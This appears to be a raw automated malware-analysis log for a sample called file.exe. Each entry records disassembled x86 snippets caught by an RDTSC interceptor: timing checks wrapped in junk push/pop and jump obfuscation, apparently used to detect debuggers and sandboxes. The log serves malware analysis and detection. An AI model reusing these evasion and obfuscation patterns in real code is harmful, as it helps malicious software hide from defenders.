Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9506A4 second address: 95070B instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F01F0E69E36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d jmp 00007F01F0E69E39h 0x00000012 lea eax, dword ptr [ebp+124951B5h] 0x00000018 push 00000000h 0x0000001a push esi 0x0000001b call 00007F01F0E69E28h 0x00000020 pop esi 0x00000021 mov dword ptr [esp+04h], esi 0x00000025 add dword ptr [esp+04h], 00000019h 0x0000002d inc esi 0x0000002e push esi 0x0000002f ret 0x00000030 pop esi 0x00000031 ret 0x00000032 nop 0x00000033 push ecx 0x00000034 jp 00007F01F0E69E2Ch 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95070B second address: 950716 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 950716 second address: 95071B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 900AAD second address: 900AB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 900AB3 second address: 900ABC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97AB62 second address: 97AB69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97AF61 second address: 97AF65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97B3CE second address: 97B411 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F01F07425D6h 0x00000008 jmp 00007F01F07425CAh 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007F01F07425CAh 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F01F07425CFh 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97B411 second address: 97B415 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97B415 second address: 97B419 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9814C1 second address: 9814DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push esi 0x00000006 js 00007F01F0E69E26h 0x0000000c pop esi 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 jbe 00007F01F0E69E2Ch 0x00000016 jnp 00007F01F0E69E26h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9802A5 second address: 9802A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 980814 second address: 98082F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F01F0E69E36h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98082F second address: 98084F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F01F07425D0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b ja 00007F01F07425C6h 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 980B22 second address: 980B27 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 980CC2 second address: 980CC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 980CC8 second address: 980CCC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 980CCC second address: 980CF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push edi 0x0000000a pop edi 0x0000000b jno 00007F01F07425C6h 0x00000011 jmp 00007F01F07425D3h 0x00000016 popad 0x00000017 push ebx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 980CF6 second address: 980D00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F01F0E69E26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 980E56 second address: 980E9D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F01F07425D9h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F01F07425CEh 0x00000013 push edx 0x00000014 pop edx 0x00000015 popad 0x00000016 popad 0x00000017 push ecx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F01F07425D0h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98117C second address: 981186 instructions: 0x00000000 rdtsc 0x00000002 js 00007F01F0E69E26h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9857EE second address: 98580C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F01F07425D9h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98580C second address: 985819 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jp 00007F01F0E69E26h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 985819 second address: 98582F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F01F07425D2h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98F22E second address: 98F234 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98F234 second address: 98F238 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98F238 second address: 98F247 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnl 00007F01F0E69E26h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98DCA6 second address: 98DCBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F01F07425D1h 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98DCBC second address: 98DCD1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F01F0E69E31h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98DCD1 second address: 98DCEB instructions: 0x00000000 rdtsc 0x00000002 jng 00007F01F07425C6h 0x00000008 jmp 00007F01F07425CCh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push edi 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98DE83 second address: 98DE91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F01F0E69E2Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98DFD0 second address: 98E006 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F01F07425D3h 0x00000007 jmp 00007F01F07425CDh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e je 00007F01F07425D2h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98E166 second address: 98E16A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98E16A second address: 98E188 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007F01F07425D4h 0x0000000c jmp 00007F01F07425CEh 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98E188 second address: 98E18C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98E9F0 second address: 98E9F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98F10E second address: 98F114 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98F114 second address: 98F11D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98F11D second address: 98F121 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98F121 second address: 98F127 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98F127 second address: 98F13C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007F01F0E69E26h 0x00000009 pushad 0x0000000a popad 0x0000000b jp 00007F01F0E69E26h 0x00000011 popad 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 994091 second address: 9940A3 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F01F07425C8h 0x00000008 push eax 0x00000009 pop eax 0x0000000a jl 00007F01F07425CCh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9940A3 second address: 9940CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jne 00007F01F0E69E2Ch 0x0000000d push edi 0x0000000e jmp 00007F01F0E69E32h 0x00000013 pushad 0x00000014 popad 0x00000015 pop edi 0x00000016 push ebx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9940CF second address: 9940D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9092EE second address: 9092F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 996839 second address: 99683D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99AB44 second address: 99AB4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99AB4A second address: 99AB50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99AB50 second address: 99AB6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 jmp 00007F01F0E69E2Fh 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99AB6B second address: 99AB74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99AB74 second address: 99AB7E instructions: 0x00000000 rdtsc 0x00000002 ja 00007F01F0E69E26h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99AB7E second address: 99AB84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99AB84 second address: 99AB8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F01F0E69E26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99AD23 second address: 99AD35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F01F07425CEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99AD35 second address: 99AD4F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F01F0E69E32h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99AE83 second address: 99AEA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 jmp 00007F01F07425D7h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A4E88 second address: 9A4E97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push edx 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A4E97 second address: 9A4EA4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jc 00007F01F07425C6h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A4EA4 second address: 9A4EBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e jl 00007F01F0E69E26h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A4EBA second address: 9A4EC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F01F07425C6h 0x0000000a popad 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A4EC8 second address: 9A4ECE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A4ECE second address: 9A4ED3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 950088 second address: 95008C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95008C second address: 950096 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F01F07425C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 950096 second address: 95009B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95009B second address: 9500B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007F01F07425CAh 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9500B1 second address: 950119 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F01F0E69E26h 0x0000000a popad 0x0000000b popad 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push ebx 0x00000010 call 00007F01F0E69E28h 0x00000015 pop ebx 0x00000016 mov dword ptr [esp+04h], ebx 0x0000001a add dword ptr [esp+04h], 0000001Ah 0x00000022 inc ebx 0x00000023 push ebx 0x00000024 ret 0x00000025 pop ebx 0x00000026 ret 0x00000027 mov dword ptr [ebp+122D1D60h], ecx 0x0000002d mov ebx, dword ptr [ebp+124951F4h] 0x00000033 push 00000000h 0x00000035 push edx 0x00000036 call 00007F01F0E69E28h 0x0000003b pop edx 0x0000003c mov dword ptr [esp+04h], edx 0x00000040 add dword ptr [esp+04h], 00000016h 0x00000048 inc edx 0x00000049 push edx 0x0000004a ret 0x0000004b pop edx 0x0000004c ret 0x0000004d mov cl, 23h 0x0000004f add eax, ebx 0x00000051 stc 0x00000052 push eax 0x00000053 pushad 0x00000054 jl 00007F01F0E69E2Ch 0x0000005a push eax 0x0000005b push edx 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 950119 second address: 950182 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 js 00007F01F07425C6h 0x0000000b pop esi 0x0000000c popad 0x0000000d mov dword ptr [esp], eax 0x00000010 jmp 00007F01F07425D2h 0x00000015 push 00000004h 0x00000017 push 00000000h 0x00000019 push ebp 0x0000001a call 00007F01F07425C8h 0x0000001f pop ebp 0x00000020 mov dword ptr [esp+04h], ebp 0x00000024 add dword ptr [esp+04h], 00000017h 0x0000002c inc ebp 0x0000002d push ebp 0x0000002e ret 0x0000002f pop ebp 0x00000030 ret 0x00000031 mov dword ptr [ebp+122D31BCh], eax 0x00000037 mov ecx, dword ptr [ebp+122D2B54h] 0x0000003d nop 0x0000003e jmp 00007F01F07425CFh 0x00000043 push eax 0x00000044 pushad 0x00000045 jl 00007F01F07425CCh 0x0000004b push eax 0x0000004c push edx 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 950182 second address: 95018A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A5D9D second address: 9A5DA3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A5DA3 second address: 9A5DAD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AF671 second address: 9AF675 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AF675 second address: 9AF6B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007F01F0E69E2Eh 0x00000011 jmp 00007F01F0E69E37h 0x00000016 jo 00007F01F0E69E26h 0x0000001c popad 0x0000001d pushad 0x0000001e jne 00007F01F0E69E26h 0x00000024 push edx 0x00000025 pop edx 0x00000026 pushad 0x00000027 popad 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AF6B9 second address: 9AF6BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AF6BF second address: 9AF6D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F01F0E69E30h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AD831 second address: 9AD85E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F01F07425D7h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F01F07425D0h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AD9C1 second address: 9AD9C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AD9C5 second address: 9AD9F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F01F07425CAh 0x00000007 jmp 00007F01F07425CBh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F01F07425D4h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AE7C6 second address: 9AE7E3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jmp 00007F01F0E69E36h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AE7E3 second address: 9AE7EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AED5F second address: 9AED70 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 push edi 0x00000009 pop edi 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AED70 second address: 9AED74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AF35E second address: 9AF39B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F01F0E69E26h 0x0000000a pop edx 0x0000000b jmp 00007F01F0E69E37h 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F01F0E69E34h 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AF39B second address: 9AF39F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AF39F second address: 9AF3A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B37C3 second address: 9B37C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B2C2C second address: 9B2C30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B2D9E second address: 9B2DA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B3207 second address: 9B321A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F01F0E69E2Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B321A second address: 9B3237 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F01F07425D9h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B3237 second address: 9B3240 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B3240 second address: 9B3251 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F01F07425CCh 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B3251 second address: 9B326A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F01F0E69E31h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B326A second address: 9B3270 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
